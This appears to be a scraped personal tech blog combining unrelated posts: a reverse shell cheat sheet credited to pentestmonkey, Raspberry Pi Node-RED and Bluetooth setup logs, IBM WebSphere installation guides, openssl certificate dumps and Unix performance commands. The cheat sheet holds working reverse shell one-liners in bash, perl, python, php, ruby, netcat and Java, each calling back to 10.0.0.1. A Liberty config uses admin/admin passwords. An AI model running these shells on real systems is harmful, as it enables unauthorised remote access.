How to Connect Raspberry Pi to Laptop Display

Anúncios

Reverse Shell Cheat Sheet

Credits http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

Tags: , , , , , , , , ,

Posted in Shells

Node.JS

Node-red on raspberry:

# bash <(curl -sL https://raw.githubusercontent.com/node-red/raspbian-deb-package/master/resources/update-nodejs-and-nodered)

$ update-nodejs-and-nodered

This script will remove any pre-installed versions of node.js and Node-RED
and replace them with node.js 6.x LTS (boron) and the latest Node-RED from Npm.
To do this it runs commands as root – please satisfy yourself that this will
not damage your Pi, or otherwise compromise your configuration.

Doing this may also be 'a bad thing' if you have installed lots of extra nodes.
Especially if they have any native binary component. Some nodes in your
~/.node-red directory will probably need to be re-installed afterwards, some
may need you to run npm update, and some may require you to run npm rebuild.

Are you really sure you want to do this ? (y/N) ? y

Running for user pi at /home/pi

This can take 20-30 minutes on a Pi 1 – please wait.

Stop Node-RED ✔
Remove old version of Node-RED ✔
Using N to manage node.js +
Update node.js LTS ✔ Node v8.9.1 Npm 5.5.1
Clean npm cache ✔
Install Node-RED core ✔ 0.17.5
Install extra nodes ✔
Install serialport node ✔
Npm rebuild existing nodes ✔
Add menu shortcut ✔
Update systemd script ✔
Update update script ✔

Any errors will be logged to /var/log/nodered-install.log

All done.
You can now start Node-RED with the command node-red-start
or using the icon under Menu / Programming / Node-RED
Then point your browser to localhost:1880 or http://{your_pi_ip-address}:1880

Started Mon 20 Nov 18:00:26 UTC 2017 – Finished Mon 20 Nov 18:07:24 UTC 2017

$ node-red-start
$ cd ~/.node-red
$ npm rebuild
$ sudo systemctl enable nodered.service

Raspberry

The problem: Nov 20 12:26:17 raspberrypi bluealsa[554]: /usr/bin/bluealsa: BT socket write error: Resource temporarily unavailable

Anker Bluetooth:

pi@raspberrypi:~ $ hcitool dev
Devices:
hci0 B8:27:EB:E2:6A:19
pi@raspberrypi:~ $ info B8:27:EB:E2:6A:19
pi@raspberrypi:~ $ bluetoothctl
[NEW] Controller B8:27:EB:E2:6A:19 raspberrypi [default]
[NEW] Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# power on
Changing power on succeeded
[Anker A7910]# pairable on
Changing pairable on succeeded
[Anker A7910]# discoverable on
Failed to set discoverable on: org.bluez.Error.Failed
[Anker A7910]# devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# paired-devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# agent on
Agent registered
[Anker A7910]# default-agent
Default agent request successful
[Anker A7910]# trust FC:58:FA:C4:68:8B
Changing FC:58:FA:C4:68:8B trust succeeded
[Anker A7910]# pair FC:58:FA:C4:68:8B
Attempting to pair with FC:58:FA:C4:68:8B
Failed to pair: org.bluez.Error.AlreadyExists
[Anker A7910]# paired-devices
Device FC:58:FA:C4:68:8B Anker A7910
[Anker A7910]# connect FC:58:FA:C4:68:8B
Attempting to connect to FC:58:FA:C4:68:8B
Connection successful
[Anker A7910]# exit
Agent unregistered
[DEL] Controller B8:27:EB:E2:6A:19 raspberrypi [default]
pi@raspberrypi:~ $ alsamixer (set volume to 85% - normal)
-bash: syntax error near unexpected token `set'
pi@raspberrypi:~ $ alsamixer
pi@raspberrypi:~ $ alsamixer
pi@raspberrypi:~ $ sudo apt-get install omx
pi@raspberrypi:~ $ sudo reboot

IBM WebSphere ND Installation & Upgrade

 

How to Install IBM WebSphere and apply Fix Pack?

Procedure to install IBM WebSphere 8.5.5. Network Deployment and apply Fix Pack.

Pre-requisite

In order to install WebSphere ND, you must have product downloaded from IBM or some organization will have a custom package built by their engineering team. In either way – you should have the product package ready to get it installed.

To install WebSphere, you will also need IBM Installation Manager. IBM Installation Manager is needed to install WebSphere. If you are working on WebSphere ND 7 then it’s something new for you, as it was not needed in prior to WebSphere 8 ND. IM is also required to apply fix pack in WebSphere 8.5.5 version.

Component Version Supported Matrix

You will also need to check the supported matrix as listed below for Java SE, Java EE, Servlet, JSP, JSF, EJB, JMS, JDBC. Usually, a developer will confirm this.

  8.5.5 8.5 8.0 7.0 6.1
Java SE 6 & 7 6 & 7 6 6 5
Java EE 6 6 6 5 1.4
Servlet 3.0 3.0 3.0 2.5 2.4
JSP 2.2 2.2 2.2 2.1 2.0
JSF 2.0 2.0 2.0 1.2 1.1
EJB 3.1 3.1 3.1 3.0 3.0
JMS 1.1 1.1 1.1 1.1 1.1
JDBC 4.1 4.0 4.0 4.0 3.0

BONUS (Download in PDF Format): WebSphere ND 8.5.5 Installation & Upgrade Guide

Downloading IBM Installation Manager

IBM IM can be downloaded from IBM website as explained here. Keep in mind you need to have IBM ID in order to download the IBM IM and WebSphere.

If you don’t have one, you can create one by registering yourself at

https://www.ibm.com/account/profile/us?page=reg

I assume you have IBM ID ready. Let’s start downloading IBM IM.

  • Open your favorite Internet browser
  • Download IBM IM 1.8.3 by clicking here
  • Select the one based on your platform. In this demonstration, I will proceed with Linux 64 bit.

  • Click on “Continue” and you will be given an option to either download using Download Director or using a browser (HTTPS).

  • Click on “Continue” to get the download link.

  • Click on the link to start downloading. It may take few minutes based on your Internet speed.
  • Once downloaded, you should have the following file
agent.installer.linux.gtk.x86_64_1.8.3000.20150606_0047.zip

Downloading WebSphere 8.5.5 ND

IBM offers 60 days trial for WebSphere ND Full profile, which I will use in this demonstration.

  • Open your favorite Internet browser
  • Access the following link
https://www-01.ibm.com/marketing/iwm/iwm/web/download.do?source=swerpws-wasnd85&S_PKG=500026211&S_TACT=109J87BW&lang=en_US&dlmethod=http
  • You will see many products listed here, but following three is in our interest.

  • Click on “Download now” for all three parts. It may take few minutes based on your Internet speed.
  • Once downloaded, you should have following three files.
was.repo.8550.ndtrial_part3.zip
was.repo.8550.ndtrial_part2.zip
was.repo.8550.ndtrial_part1.zip

Installing IBM Installation Manager

  • Go to the path where you have downloaded the IBM IM Zip file
agent.installer.linux.gtk.x86_64_1.8.3000.20150606_0047.zip
  • unzip the file by using unzip command
unzip agent.installer.linux.gtk.x86_64_1.8.3000.20150606_0047.zip
  • Once extracted, you should see following

Let’s start the installation by executing install file

./install

It will start installation process in GUI mode, click on Next 

  • Accept the license agreement and click Next

By default, it will install in /opt/IBM however, if you wish to change the directory, you can change it in this screen. 

  • Review the installation summary information and click on Install to begin the installation.
  • If you wish to change anything (like a path), you can click on Back and do so.

It may take few seconds and give you confirmation on the package was installed. 

You can close the window by clicking on a Close button.

Installing WAS 8.5.5 ND

Installation in GUI mode is easy and recommended for new WebSphere learner.

  • Go to the path where you have downloaded the following zip files.
was.repo.8550.ndtrial_part3.zip
was.repo.8550.ndtrial_part2.zip
was.repo.8550.ndtrial_part1.zip
  • Extract them by using unzip command
unzip was.repo.8550.ndtrial_part3.zip
unzip was.repo.8550.ndtrial_part3.zip
unzip was.repo.8550.ndtrial_part3.zip
  • Once extracted, you should have following

Let’s launch IBM Installation Manager to install the WebSphere ND.

Go to the path where you have installed IM. If you haven’t changed the path from default value then; 

cd /opt/IBM/InstallationManager/eclipse/
  • Execute IBMIM to launch it
./IBMIM
  • You will get Installation Manager wizard likes below

  • Click on File >> Preferences
  • Click on Add Repository
  • Click on Browse to select the repository.config file. Repository.config file will be available in a path where you have extracted the downloaded WebSphere zip file.

  • Click Ok and Ok again.

You have successfully configured repository.config, which is necessary to begin the installation. Click on Install icon on the wizard. 

  • Select the checkbox before version and click on Next

  • Accept the license agreement and click Next

  • Select the resource directory and click Next. You may leave it to the default path.

  • Select the path where WebSphere will be installed. If you are happy with installing under /opt/IBM/WebSphere then leave it to default path and click on Next

  • Select the language translation if needed, click on Next

  • You can choose the features to be installed in next screen. Most of the time you want to proceed with “Sample applications” as it helps administrator to deploy and test the environment. Click on Next

 

Finally, you will get review summary information. You can click on Back if anything to be changed else click on Install 

It may take few minutes to install and once completed, you will have following confirmation.

  • Select “None” and click on Finish

Great, so now you are familiar with WebSphere Installation procedure.

Applying WebSphere Fix Pack 

One of the essential tasks for WebSphere administrator is to ensure technology stack in a production environment is up-to-date. There are many including security, feature enhancements & bug fixes are released by IBM.

Downloading fix pack

Fix pack 6 is the latest pack available for WebSphere 8.5.5 which is shown in below demonstration.

  • Open your favorite Internet browser
  • Access the following link
http://www-01.ibm.com/support/docview.wss?uid=swg24040035
  • Select the zip file for your desired platform. I am using Linux, so I will proceed with the download for “Distributed” platform.

Fix pack 6 is available in two parts so you got to download both of them as shown below and click on Continue

  • Log in with your IBM ID to download the fix pack

  • Click on each file (part 1 & part 2) to download

  • Once downloaded, you should have the following file
8.5.5-WS-WAS-FP0000006-part1.zip
8.5.5-WS-WAS-FP0000006-part2.zip

Installing Fix Pack

Go to the path where you have downloaded the fix pack zip file

  • Extract them by using unzip command
unzip 8.5.5-WS-WAS-FP0000006-part1.zip
unzip 8.5.5-WS-WAS-FP0000006-part2.zip

Before you proceed to apply fix pack, you have to ensure WAS is not running. It would be also a good idea to take an entire WebSphere backup if you are doing in a critical environment.

  • Launch IBM Installation Manager
  • Click on File >> Preferences
  • Click on Add Repository
  • Click on Browse and select repository.config, which you got above after extracting fix pack
  • Click on OK

  • You should have something like below, click on OK to continue

  • Click Next

It will give you confirmation that Version 8.5.5.6 is recognized in a repository.config file. Click on Next

  • Accept the terms and click next

  • Here you can customize the features if you wish. Click on Next

  • Review the summary information and click on Update

It will take few minutes and at the end, you will have success message as shown below.

This indicates you have applied Fix Pack 6 on 8.5.5 version and now WAS version is 8.5.5.6.

I hope this helps you to understand the IBM WebSphere installation procedure.

Credits to Chandan Kumar

The Cognitive Scheduling

$2A2BD674772FFE2A

Name: The Cognitive Scheduling

Automation to re-schedule cancelled appointments.

More than 25 millions of doctor appointments are scheduled per year. Because of no-show, the loss in the pillar Psyquiatric is between 11 and 19 millions of dollars per year.

Because of this, the automation solve problem recorrences of Doctors, Therapists, Meetings, Beauty Salon and others.

Know more:

DEMO: https://www.youtube.com/watch?v=I3r-gqG3NYo
SWOT: https://prezi.com/p/35zkia3bxrcx/
GitHub: https://github.com/wagnersouz4/cognitive-scheduling

Share our project: https://ibm.biz/cognitivescheduling

 

 

Administrative Console in the IBM WebSphere Liberty Profile running on Raspberry Pi

Overview

Skill Level: Any Skill Level

Here you will learn step-by-step on how to install and configure the Administrative Console in the IBM WebSphere Liberty Profile.

Ingredients

Download the IBM WebSphere Liberty Profile

Operational System can be IBM AIX, other Unix-like, Windows or z/OS.

Step-by-step

  1. Extract the IBM WebSphere Liberty Profile

    After to download the IBM WebSphere Liberty Profile, so-called WLP, from IBM’s site, just extract to some folder.

    You must not have root’s privilege to run the WLP.

     

    $ unzip wlp-webProfile7-17.0.0.2.zip
  2. Create an encrypted password for keyStore’s certificate

    This password is used by WLP in order to load the certificate over HTTPS instance. It is a must have for Administrative Console.

    The tool securityUtility is going to be used, with the parameter encode and –encoding=aes. At this time, AES cryptography is used.

     

    $ wlp/bin/securityUtility encode --encoding=aes igormonteirovieiraaa
    
    Result: "{aes}ALdLTXUQf7HvUNqRxxFT4yDSMGMUw6Oe5TcawHZAK8LRGNlivTITq3km/Mc82t7EVA=="
  3. Installing the adminCenter-1.0, an Administrative Console for IBMe WebSphere Liberty Profile

    The IBM WebSphere Liberty Profile comes with less features installed as possible, in order to be the most lightweight and secure Application Server in the market and for administrative’s purposes.

    In order to get Administrative Console, the correspondent package is adminCenter and must be installed through the following way:

     

    $ wlp/bin/installUtility install adminCenter-1.0
  4. Creating the server.xml for IBM WebSphere Liberty Profile

    At this time, the previous libraries were added to the filesystem and the WLP’s server.xml is bound to be created. A start is required to get these settings valid.

     

    $ wlp/bin/server start

     

    After this start, the server.xml was created underneath wlp/usr/servers/defaultServer/.

  5. Loading the Administrative Console

    Everytime either a module, library or plugin is installed through installUtility application, it must be pointed into server.xml.

    As best practice, better to stop the WLP before changing these parameters.

     

    $ wlp/bin/server stop

     

    To include the new features in the server.xml:

     

    $ vi wlp/usr/servers/defaultServer/server.xml

     

     

     

    <featureManager>
    <feature>adminCenter-1.0</feature>
     <feature>ssl-1.0</feature>
     </featureManager>
    
    <administrator-role>
     <user>admin</user>
    </administrator-role>
    
    <basicRegistry id="basic">
     <user name="admin" password="admin"/>
     <user name="nonadmin" password="nonadmin"/>
    </basicRegistry>
    
    <keyStore id="defaultKeyStore" password="{aes}ALdLTXUQf7HvUNqRxxFT4yDSMGMUw6Oe5TcawHZAK8LRGNlivTITq3km/Mc82t7EVA==" />
  6. Starting the Administrative Console wlp/bin/server start

    Pre-requisites:

    1. installUtility used to install:
      1. adminCenter-1.0
    2. server.xml configured with:
      1. adminCenter-1.0 as feature
      2. ssl-1.0 as feature
      3. administrative-role
      4. basicRegistry
      5. keyStore

     

    Starting the server:

     

    $ wlp/bin/server start

    The log is placed underneath wlp/usr/servers/defaultServer/logs/. There are two, console.log and messages.log. In case of error, ffdc will be created as well. Expected console.log:

    $ tail -f wlp/usr/servers/defaultServer/logsconsole.log 
    
    Launching defaultServer (WebSphere Application Server 17.0.0.2/wlp-1.0.17.cl170220170523-1818) on Java HotSpot(TM) Client VM, version 1.8.0_65-b17 (en_US)
    [AUDIT ] CWWKE0001I: The server defaultServer has been launched.
    [AUDIT ] CWWKE0100I: This product is licensed for development, and limited production use. The full license terms can be viewed here: https://public.dhe.ibm.com/ibmdl/export/pub/software/websphere/wasdev/license/base_ilan/ilan/17.0.0.2/lafiles/en.html
    
    [AUDIT ] CWWKZ0058I: Monitoring dropins for applications. 
    [AUDIT ] CWWKF0012I: The server installed the following features: [jsp-2.3, ejbLite-3.2, managedBeans-1.0, servlet-3.1, jsf-2.2, beanValidation-1.1, ssl-1.0, jndi-1.0, appSecurity-2.0, jsonp-1.0, jdbc-4.1, jaxrs-2.0, restConnector-1.0, el-3.0, jaxrsClient-2.0, json-1.0, jpaContainer-2.1, adminCenter-1.0, cdi-1.2, distributedMap-1.0, webProfile-7.0, websocket-1.1, jpa-2.1].
    [AUDIT ] CWWKF0011I: The server defaultServer is ready to run a smarter planet.
    [AUDIT ] CWWKT0016I: Web application available (default_host): http://192.168.1.102:9080/ibm/adminCenter/serverConfig-1.0/
    [AUDIT ] CWWKT0016I: Web application available (default_host): http://192.168.1.102:9080/IBMJMXConnectorREST/
    [AUDIT ] CWWKT0016I: Web application available (default_host): http://192.168.1.102:9080/ibm/api/
    [AUDIT ] CWWKT0016I: Web application available (default_host): http://192.168.1.102:9080/ibm/adminCenter/explore-1.0/
    [AUDIT ] CWWKT0016I: Web application available (default_host): http://192.168.1.102:9080/adminCenter/
    [AUDIT ] CWPKI0803A: SSL certificate created in 31.868 seconds. SSL key file: /home/pi/wlp/usr/servers/defaultServer/resources/security/key.jks
    
    ^C

     

  7. Accessing the Administrative Console of the IBM WebSphere Liberty Profile

    To specific an IP to the URL, the parameter host=”IP” must be inserted in the server.xml at the tag httpEndpoint. The server.xml‘s content must looks like:

     <httpEndpoint id="defaultHttpEndpoint" host="192.168.1.102"
     httpPort="9080"
     httpsPort="9443" />

    A restart may be required in case of changing this IP.

    Use the URL http://localhost:9080/adminCenter/.

    IBM WebSphere Liberty Profile, Administrative Console

Certificate Management

Commands:
# openssl x509 -in cert.crt -text -noout
# openssl req -text -noout -verify -in cert.csr

Listing contents of new certificate:

# openssl x509 -in cert.crt -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
19:67:76:8b:79:ad:7f:52:52:01:3d:89:45:6d:9b:cc
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA – G4
Validity
Not Before: May 23 00:00:00 2016 GMT
Not After : Aug 7 23:59:59 2017 GMT
Subject: C=, ST=, L=, O=, OU=, CN=
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:be:c2:51:07:9a:98:03:a4:b2:1d:71:64:2b:13:
54:15:2c:9b:fc:6a:9b:57:24:fc:b9:c0:ea:26:d0:
7c:35:a6:30:19:31:2a:e0:55:51:35:f5:57:da:7a:
01:ca:36:b4:3a:ee:48:3c:61:0e:a4:77:ac:f8:6e:
fd:00:56:92:ba:ba:11:20:a0:69:97:0d:e8:97:98:
1a:ad:2f:e8:61:f2:c6:25:fe:56:7c:2a:89:a1:57:
11:2d:e1:3e:e9:3a:d9:e9:a7:d0:f6:48:a6:be:5b:
f8:6b:77:b5:22:eb:a0:80:57:de:2f:56:41:23:28:
8e:05:09:b2:5d:ba:36:6d:ef:f7:e3:45:59:7f:ba:
22:94:cc:97:db:56:16:f8:7f:be:29:79:71:d2:bf:
b0:9f:a4:55:37:9a:a5:0d:c0:34:0b:e0:33:ba:3d:
75:a5:39:52:80:51:c2:68:a3:db:77:ae:98:b5:7b:
f1:ac:be:88:fd:61:11:03:de:f0:f6:7a:87:3c:ad:
03:58:30:19:5e:3c:25:d3:e1:fe:d6:99:8e:0f:9b:
e0:84:8c:48:0d:97:f2:40:55:dc:7e:75:8e:97:3f:
71:aa:2b:7f:71:b0:26:85:fb:ac:30:95:5a:8d:db:
9c:36:c0:0f:79:34:cc:12:99:37:79:7a:23:71:c4:
9a:67
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Certificate Policies:
Policy: 2.23.140.1.2.2
CPS: https://d.symcb.com/cps
User Notice:
Explicit Text: https://d.symcb.com/rpa

X509v3 Authority Key Identifier:
keyid:5F:60:CF:61:90:55:DF:84:43:14:8A:60:2A:B2:F5:7A:F4:43:18:EF

X509v3 CRL Distribution Points:

Full Name:
URI:http://ss.symcb.com/ss.crl

Authority Information Access:
OCSP – URI:http://ss.symcd.com
CA Issuers – URI:http://ss.symcb.com/ss.crt

1.3..2.4.2:
.@.}…!….B.G6….VLj..F.>v<.A..i.5.-…w…….X……gp…..4…..
…..T.y^……H0F.!..2L.qQ]g..D.
g..OO…..T.y^……F0D. c.TG…_8M…..L..X..>c.5…+.S.. |C..-..jfIf.S.Z.[EhRC…9LH6..1N
Signature Algorithm: sha256WithRSAEncryption
1c:f5:77:99:c5:d3:08:5f:b9:39:5c:f8:11:28:fa:f1:4d:
92:8a:9b:dd:13:29:49:82:5e:36:eb:7b:86:a0:35:ea:a2:d0:
09:5e:bd:13:d4:c7:c2:13:c8:a0:99:7e:34:82:32:8b:25:e8:
ac:62:54:db:6c:b8:fc:f6:25:a0:24:28:71:fd:a9:7e:63:9a:
bd:a8:73:16:3a:d0:35:61:20:76:6f:7e:21:fc:e6:48:
32:e9:4a:f3:ec:13:35:87:db:9a:7e:8f:6d:b4:7e:09:bc:42:
d1:cf:f4:f8:a9:94:83:1a:25:55:5b:26:98:24:69:a5:5b:d5:
fb:21:82:a9:43:8e:eb:32:54:2c:27:24:70:c3:d3:3e:b8:82:
b2:1a:b4:70:2c:1e:da:de:25:52:fa:f8:82:d3:33:25:cb:20:
55:a8:8e:46

 


Listing contents of CSR:

# openssl req -text -noout -verify -in cert.csr
verify OK
Certificate Request:
Data:
Version: 0 (0x0)
Subject: C=, ST=, L=, O=, OU=, CN=
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:cc:91:88:d6:95:df:ed:3a:c1:0d:18:5e:a0:22:
9e:95:78:d4:90:76:87:7c:b2:42:20:9a:68:22:42:
31:10:68:08:7f:37:78:b0:6c::ee:26:9c:c9:
1e:6d:42:5a:e6:55:22:76:f4:4e:8e:d9:50:ce:4f:
e6:5c:18:54:f8:f3:08:b4:e9:9e:e2:8b:48:ca:44:
fb:a2:14:a5:50:eb:46:2d:73:2e:8b:71:e7:57:88:
69:14:c2:ae:80:bb:b7:5f:c9:5f:5a:00:31:94:21:
61:a9:44:26:61:30:74:d4:9d:5c:09:ba:20:cc:c5:
c4:22:aa:2b:5d:c6:40:d7:6c:e5:d6:1e:47:90:be:
ce:69
Exponent: 65537 (0x10001)
Attributes:
Requested Extensions:
X509v3 Subject Alternative Name:
DNS:
X509v3 Extended Key Usage: critical
TLS Web Server Authentication
X509v3 Key Usage: critical
Key Encipherment, Key Agreement
Signature Algorithm: sha256WithRSAEncryption
c6:c3:c2:fe:89:6b:4d:2c:df:e8:a6ee:41:6f:a9:25:f1:
87:9f:51:5f:61:96:76:9b:d9:bd:36:da:67:b8:71:c1:c6:3e:
22:df:7e:d3:84:82:91:15:ea:78:4a:d5:e0:ef:f6:e8:32:21:
cf:e6:5d:67:05:53:c6:32:fb:41:92:93:9b:d4:72:c8:d4:27:
82:dc:bc:44:89:cc:13:78:fc:98:3a:7e:4b:c4:13:40:e3:19:
e6:99:71:fa:53:f7:7e:c3:2d:83:28:d9:34:b1:94:b9:bd:18:
0b:73:2e:99:9f:6e:ad:2d:af:86:6f:d3:28:d5:85:77:e0:70:
cd:75:d8:e7:ee:70:e9:d7:d4:a6:24:75:6a:0b:e6:c6:68:b9:
47:be:82:ac:58:f8:2e:65:58:b0:ed:a1:89:b3:85:e5:d3:51:
ee:cd:c1:2b:20:ef:06:9e:56:ca:05:78:2f:5c:db:a0:77:a7:
75:04:1c:b7

Unix

AIX

The %CPU is the percentage of CPU time that has been allocated to that process since the process was started.
#ps aux

# lsvg -o
rootvg
crsrdb_bin
crsprdb_data
crsprdb_index
crsprdb_arch
crsprdb_rman

# lsattr -El sys0 -a realmem

Display CPU usage by process and thread id. The TID column shows the threadID:
#ps -efmo THREAD

#tprof -skex sleep 60

Display processes with the highest CPU utilization:
#ps -eo pid,pcpu,args | sort +1n

To find the threadid (tid) of a known process that is using CPU:
#ps -mp <WLS_PID> -o THREAD

Display processes with the highest memory usage:
#ps -eo pid,vsz,args | sort +1n

To see your server utilization in IBM AIX including top processes, CPU usage, memory, virtual memory, paging space, I/O and load:

# topas
#topas -E
To list the top ten users of paging space in IBM AIX:
#svmon -Pgt 10 (paging)

To list the top ten users of realmem in IBM AIX:
#svmon -Put 10

To find memory usage:
#svmon -u | more
#svmon -P | more


LINUX

Show a breakdown of utilization by an individual processor. The command shows the kernel level, user CPU, system CPU, nice time, idle time, wait time and interrupts per second. Similar data can be obtained with the sar command.
#mpstat

Display five reports of statistics for all processors at two second intervals, enter:
# mpstat -P ALL 2 5

List processes by % CPU usage:
#ps -e -o pcpu,cpu,nice,state,cputime,args

Displays the top ten CPU users on the Linux system:
#ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
OR
#ps -eo pcpu,pid,user,args | sort -r -k1 | less

List all threads for a particular process:
#ps -C <process> -m -o pid,tid,pcpu,state

List processes by memory usage:
#ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS

Show the amount of (remaining) RAM (-m displays in MB):
#free -m

An interactive tool that allows a system administrator to view the process table in order of CPU or memory usage, by user, and at varying refresh rates in real-time.

#top

Solaris:

Show all top threads to determine what could be using the most CPU:
#prstat -Lmc -p <pid>
#prstat -L -p <pid> 1 1

To show the PID, user, state, and thread id:
#ps -Le -o pid,user,s,lwp,pcpu,args | awk ‘$3 != “S” { print }’

Reports paging activity details for applications (executables), data (anonymous) and filesystem activity:
#vmstat -p

Prints out details of memory use by a process:
#pmap -x <pid>

To find how much disk space is used by users in kilobytes in Solaris:
#quot -af

Commands that can be used on most UNIX platforms

Running iostat provides much information, but the values of concern are %user and %sys. If (%user + %sys) > 80 percent over a period of time, then it is likely the bottleneck is CPU. In particular, it is necessary to watch for average CPU being greater than 70 percent with peaks above 90 percent.

#iostat

To report system-wide process use, swapping, memory use, disk I/O and CPU use:
#vmstat

To provides statistics on the average length of the run queue, the percentage of time the run queue is occupied, the average length of the swap queue and the percentage of time the swap queue is occupied.

#sar

Breaks the time into user, system, time waiting for blocked I/O (i.e., NFS, disk, etc.) and idle time.
#sar -u
#sar -q
#sar -k
# sar -d 1 2
One advantage to using sar is that you can write the data to a file and then post-process it when the system is not busy. The file is created using the -a and -o flags. An example of creating a file of 30 snapshots, each two seconds apart, would look like:

#sar a o sardata.out 2 30

This file would then be processed using:
#sar -u -f sardata.out